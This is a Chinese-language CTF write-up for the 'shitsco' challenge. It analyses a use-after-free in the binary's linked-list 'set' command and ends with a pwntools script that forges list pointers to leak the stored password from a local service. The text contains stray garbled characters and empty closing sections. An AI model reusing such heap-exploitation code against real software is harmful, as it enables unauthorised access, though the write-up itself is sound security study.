tips:
本地測試需要建立 /home/shitsco/password , /home/shitsco/flag兩個文件存放string,password需要以0x00結(jié)束
password:pineapple flag:12345678
題目
這是模仿思科路由器操作的一道題互拾,提供一些命令供使用,enable需要密碼進(jìn)入世蔗,且會讀入換行符
set用于設(shè)置參數(shù),并賦值
show可顯示set的參數(shù)和值
查看程序保護(hù)
ida分析:
特權(quán)模式驗證部分
發(fā)現(xiàn)程序讀入password的值并設(shè)置全局變量
嘗試找出密碼朗兵,進(jìn)入特權(quán)模式輸出flag
它實際上是一個雙向鏈表污淋,有四個字段:
typedef struct {
char *name;
char *value;
void *prev;
void *next;
}
set新結(jié)構(gòu)體時,只有一種可能性:它將移到最后并設(shè)置“next”指針余掖,再次set刪除時寸爆,有三種可能:鏈表的結(jié)尾,中間或開頭盐欺,可能發(fā)生三件事:
鏈表的結(jié)尾:釋放它并將前一個指針的'next'置為NULL
鏈表的中間:釋放它并設(shè)置前一個結(jié)構(gòu)體的next和下一個結(jié)構(gòu)體的prev相等
鏈表的開頭:無法正確設(shè)置“prev”赁豆,程序沒有置空,仍然可用冗美。uaf漏洞可用魔种!
當(dāng)我們free然后malloc相同大小空間時,由于malloc分配的過程使得p2指向的空間為剛剛釋放的p1指針的空間粉洼,構(gòu)造惡意的數(shù)據(jù)將這段內(nèi)存空間布局好节预,即覆蓋了p1中的數(shù)據(jù)
gdb調(diào)試:
首先設(shè)置轉(zhuǎn)儲大小
傳入16字節(jié)大小,構(gòu)造利用的環(huán)境属韧,此時name, value, previous, next pointers 都被覆蓋安拟,
構(gòu)造pre指針指向first adddr構(gòu)造循環(huán)鏈表,value值(即控制流程進(jìn)入vf
printf函數(shù))指向password的全局變量宵喂,來循環(huán)輸出password
exp如下:
或者python:
from pwn import *
io = remote("127.0.0.1",5000)
io.recvuntil("$ ")
io.send("set a AAAAAAAAAAAAAAAA\n")
io.recv(1024)
io.send("set b BBBBBBBBBBBBBBBB\n")
io.recv(1024)
io.send("set a\n")
io.recv(1024)
io.send("set b\n")
io.recv(1024)
password =0x0804C3A0
first = 0x0804C36C
payload = "set c " + "A"*4 + p32(password) + p32(first) + "A"*4
io.sendline(payload)
io.recv(1024)
io.sendline("show")
passwd = io.recv(64)
print passwd
測試:
解答: